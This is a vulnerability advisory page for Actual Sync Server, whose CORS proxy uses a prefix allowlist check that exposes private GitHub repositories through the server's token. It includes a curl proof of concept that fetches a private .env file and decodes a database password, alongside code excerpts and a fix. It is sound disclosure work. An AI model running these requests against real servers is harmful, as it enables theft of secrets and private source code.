GHSA-M62C-5Q34-F3CF

Vulnerability from github – Published: 2026-10-07 14:00 – Updated: 2026-10-07 14:00
VLAI
Summary
Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token
Details

Summary

Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When ACTUAL_GITHUB_TOKEN is configured, the proxy automatically attaches the server's GitHub token to GitHub requests.

The GitHub API allowlist check uses a raw startsWith() prefix test for /repos/{owner}/{repo} without requiring a path boundary after the repository name. If an allowlisted public plugin repository is https://github.com/acme/plugin, the proxy also accepts GitHub API URLs such as:

https://api.github.com/repos/acme/plugin-private/contents/.env
https://api.github.com/repos/acme/plugin-secrets/actions/secrets
https://api.github.com/repos/acme/plugin-internal/releases

Those URLs are outside the allowlisted repository but still pass because their API path starts with /repos/acme/plugin. The proxy then forwards the request with the server's ACTUAL_GITHUB_TOKEN, allowing any authenticated Actual user to read private GitHub resources reachable by that token.

Affected Endpoint

  • GET /cors-proxy?url=...

This endpoint is mounted only when:

if (config.get('corsProxy.enabled')) {
  app.use('/cors-proxy', corsApp.handlers);
}

Source: packages/sync-server/src/app.ts:68-70

Details

The CORS proxy is disabled by default but can be enabled through ACTUAL_CORS_PROXY_ENABLED. The GitHub token is configured through ACTUAL_GITHUB_TOKEN:

github: {
  token: {
    doc: 'GitHub Personal Access Token for API authentication.',
    format: String,
    default: '',
    env: 'ACTUAL_GITHUB_TOKEN',
  },
},
corsProxy: {
  enabled: {
    doc: 'Enable the CORS proxy endpoint.',
    format: Boolean,
    default: false,
    env: 'ACTUAL_CORS_PROXY_ENABLED',
  },
},

Source: packages/sync-server/src/load-config.js:280-296

The proxy fetches the plugin allowlist and stores repository URLs:

const response = await fetch(
  'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json',
);
...
const plugins = await response.json();
allowlistedRepos = plugins.map(plugin => plugin.url);

Source: packages/sync-server/src/app-cors-proxy.js:43-50

The GitHub API check accepts any path that starts with /repos/${repoOwner}/${repoName}:

for (const repoUrl of allowlistedRepos) {
  const { pathname } = new URL(repoUrl);
  const [, repoOwner, repoName] = pathname.split('/');

  if (
    targetUrl === repoUrl ||
    targetUrl.startsWith(repoUrl + '/') ||
    (hostname === 'api.github.com' &&
      url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||
    ...
  ) {
    return true;
  }
}

Source: packages/sync-server/src/app-cors-proxy.js:84-99

For api.github.com, there is no delimiter after repoName. This means an allowlisted repo named plugin authorizes API requests for plugin-private, plugin-secrets, plugin-internal, and any other repository under the same owner whose name starts with plugin.

After this incorrect allowlist decision, the proxy attaches the server's GitHub token:

const githubToken = config.get('github.token');
if (
  githubToken &&
  (url.hostname === 'api.github.com' ||
    url.hostname === 'raw.githubusercontent.com' ||
    (url.hostname === 'github.com' && url.pathname.includes('/releases/')))
) {
  requestHeaders['Authorization'] = `Bearer ${githubToken}`;
  requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System';
}

Source: packages/sync-server/src/app-cors-proxy.js:192-201

Therefore the vulnerable flow is:

  1. A public plugin repository is allowlisted, for example https://github.com/acme/plugin.
  2. The same owner has a private repository with a prefix-matching name, for example acme/plugin-private.
  3. The Actual server has ACTUAL_CORS_PROXY_ENABLED=true.
  4. The Actual server has ACTUAL_GITHUB_TOKEN with access to acme/plugin-private.
  5. Any authenticated Actual user calls:
/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env
  1. isUrlAllowed() returns true because /repos/acme/plugin-private/... starts with /repos/acme/plugin.
  2. The proxy sends the request to GitHub with the server token.
  3. The response is returned to the low-privileged Actual user.

PoC

Preconditions

  1. ACTUAL_CORS_PROXY_ENABLED=true.
  2. ACTUAL_GITHUB_TOKEN is configured and can read a private repo.
  3. The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.
  4. The attacker has any valid Actual session token.

Example:

  • Allowlisted public repo: https://github.com/acme/plugin
  • Private target repo: https://github.com/acme/plugin-private
  • Private file: .env

Manual Reproduction

Step 1: Request a private repo file through the Actual CORS proxy:

curl -s "http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env" \
  -H "X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION"

Vulnerable result:

{
  "name": ".env",
  "path": ".env",
  "encoding": "base64",
  "content": "UFJPRF9EQl9QQVNTV09SRD0uLi4="
}

Step 2: Decode the returned content field:

echo "UFJPRF9EQl9QQVNTV09SRD0uLi4=" | base64 -d

Example decoded output:

PROD_DB_PASSWORD=...

Python PoC

Attached separately as poc_actual_cors_proxy_github_prefix_bypass.py.

The PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user.

Impact

  • Any authenticated Actual user can use the server's GitHub token against prefix-matched repositories outside the plugin allowlist.
  • Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.
  • If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.
  • Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.

Recommended Remediation

  • Parse and compare GitHub API repository path segments exactly.
  • Replace:
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)

with an exact boundary-aware check:

url.pathname === `/repos/${repoOwner}/${repoName}` ||
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)
  • Apply the same boundary discipline to every allowlist branch.
  • Add regression tests showing that an allowlisted owner/plugin does not authorize owner/plugin-private.
  • Consider never attaching ACTUAL_GITHUB_TOKEN for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 26.6.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@actual-app/sync-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T14:00:45Z",
    "nvd_published_at": "2026-09-25T23:16:53Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nActual Sync Server\u0027s CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When `ACTUAL_GITHUB_TOKEN` is configured, the proxy automatically attaches the server\u0027s GitHub token to GitHub requests.\n\nThe GitHub API allowlist check uses a raw `startsWith()` prefix test for `/repos/{owner}/{repo}` without requiring a path boundary after the repository name. If an allowlisted public plugin repository is `https://github.com/acme/plugin`, the proxy also accepts GitHub API URLs such as:\n\n```text\nhttps://api.github.com/repos/acme/plugin-private/contents/.env\nhttps://api.github.com/repos/acme/plugin-secrets/actions/secrets\nhttps://api.github.com/repos/acme/plugin-internal/releases\n```\n\nThose URLs are outside the allowlisted repository but still pass because their API path starts with `/repos/acme/plugin`. The proxy then forwards the request with the server\u0027s `ACTUAL_GITHUB_TOKEN`, allowing any authenticated Actual user to read private GitHub resources reachable by that token.\n\n## Affected Endpoint\n\n- `GET /cors-proxy?url=...`\n\nThis endpoint is mounted only when:\n\n```js\nif (config.get(\u0027corsProxy.enabled\u0027)) {\n  app.use(\u0027/cors-proxy\u0027, corsApp.handlers);\n}\n```\n\nSource: `packages/sync-server/src/app.ts:68-70`\n\n## Details\n\nThe CORS proxy is disabled by default but can be enabled through `ACTUAL_CORS_PROXY_ENABLED`. The GitHub token is configured through `ACTUAL_GITHUB_TOKEN`:\n\n```js\ngithub: {\n  token: {\n    doc: \u0027GitHub Personal Access Token for API authentication.\u0027,\n    format: String,\n    default: \u0027\u0027,\n    env: \u0027ACTUAL_GITHUB_TOKEN\u0027,\n  },\n},\ncorsProxy: {\n  enabled: {\n    doc: \u0027Enable the CORS proxy endpoint.\u0027,\n    format: Boolean,\n    default: false,\n    env: \u0027ACTUAL_CORS_PROXY_ENABLED\u0027,\n  },\n},\n```\n\nSource: `packages/sync-server/src/load-config.js:280-296`\n\nThe proxy fetches the plugin allowlist and stores repository URLs:\n\n```js\nconst response = await fetch(\n  \u0027https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json\u0027,\n);\n...\nconst plugins = await response.json();\nallowlistedRepos = plugins.map(plugin =\u003e plugin.url);\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:43-50`\n\nThe GitHub API check accepts any path that starts with `/repos/${repoOwner}/${repoName}`:\n\n```js\nfor (const repoUrl of allowlistedRepos) {\n  const { pathname } = new URL(repoUrl);\n  const [, repoOwner, repoName] = pathname.split(\u0027/\u0027);\n\n  if (\n    targetUrl === repoUrl ||\n    targetUrl.startsWith(repoUrl + \u0027/\u0027) ||\n    (hostname === \u0027api.github.com\u0027 \u0026\u0026\n      url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||\n    ...\n  ) {\n    return true;\n  }\n}\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:84-99`\n\nFor `api.github.com`, there is no delimiter after `repoName`. This means an allowlisted repo named `plugin` authorizes API requests for `plugin-private`, `plugin-secrets`, `plugin-internal`, and any other repository under the same owner whose name starts with `plugin`.\n\nAfter this incorrect allowlist decision, the proxy attaches the server\u0027s GitHub token:\n\n```js\nconst githubToken = config.get(\u0027github.token\u0027);\nif (\n  githubToken \u0026\u0026\n  (url.hostname === \u0027api.github.com\u0027 ||\n    url.hostname === \u0027raw.githubusercontent.com\u0027 ||\n    (url.hostname === \u0027github.com\u0027 \u0026\u0026 url.pathname.includes(\u0027/releases/\u0027)))\n) {\n  requestHeaders[\u0027Authorization\u0027] = `Bearer ${githubToken}`;\n  requestHeaders[\u0027User-Agent\u0027] = \u0027Actual-Budget-Plugin-System\u0027;\n}\n```\n\nSource: `packages/sync-server/src/app-cors-proxy.js:192-201`\n\nTherefore the vulnerable flow is:\n\n1. A public plugin repository is allowlisted, for example `https://github.com/acme/plugin`.\n2. The same owner has a private repository with a prefix-matching name, for example `acme/plugin-private`.\n3. The Actual server has `ACTUAL_CORS_PROXY_ENABLED=true`.\n4. The Actual server has `ACTUAL_GITHUB_TOKEN` with access to `acme/plugin-private`.\n5. Any authenticated Actual user calls:\n\n```text\n/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env\n```\n\n6. `isUrlAllowed()` returns true because `/repos/acme/plugin-private/...` starts with `/repos/acme/plugin`.\n7. The proxy sends the request to GitHub with the server token.\n8. The response is returned to the low-privileged Actual user.\n\n## PoC\n\n### Preconditions\n\n1. `ACTUAL_CORS_PROXY_ENABLED=true`.\n2. `ACTUAL_GITHUB_TOKEN` is configured and can read a private repo.\n3. The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.\n4. The attacker has any valid Actual session token.\n\nExample:\n\n- Allowlisted public repo: `https://github.com/acme/plugin`\n- Private target repo: `https://github.com/acme/plugin-private`\n- Private file: `.env`\n\n### Manual Reproduction\n\nStep 1: Request a private repo file through the Actual CORS proxy:\n\n```bash\ncurl -s \"http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env\" \\\n  -H \"X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION\"\n```\n\nVulnerable result:\n\n```json\n{\n  \"name\": \".env\",\n  \"path\": \".env\",\n  \"encoding\": \"base64\",\n  \"content\": \"UFJPRF9EQl9QQVNTV09SRD0uLi4=\"\n}\n```\n\nStep 2: Decode the returned `content` field:\n\n```bash\necho \"UFJPRF9EQl9QQVNTV09SRD0uLi4=\" | base64 -d\n```\n\nExample decoded output:\n\n```text\nPROD_DB_PASSWORD=...\n```\n\n### Python PoC\n\nAttached separately as `poc_actual_cors_proxy_github_prefix_bypass.py`.\n\nThe PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub\u0027s API response is returned to the low-privileged Actual user.\n\n## Impact\n\n- Any authenticated Actual user can use the server\u0027s GitHub token against prefix-matched repositories outside the plugin allowlist.\n- Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.\n- If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.\n- Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.\n\n## Recommended Remediation\n\n- Parse and compare GitHub API repository path segments exactly.\n- Replace:\n\n```js\nurl.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)\n```\n\nwith an exact boundary-aware check:\n\n```js\nurl.pathname === `/repos/${repoOwner}/${repoName}` ||\nurl.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)\n```\n\n- Apply the same boundary discipline to every allowlist branch.\n- Add regression tests showing that an allowlisted `owner/plugin` does not authorize `owner/plugin-private`.\n- Consider never attaching `ACTUAL_GITHUB_TOKEN` for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.",
  "id": "GHSA-m62c-5q34-f3cf",
  "modified": "2026-10-07T14:00:45Z",
  "published": "2026-10-07T14:00:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-m62c-5q34-f3cf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57449"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/actualbudget/actual"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.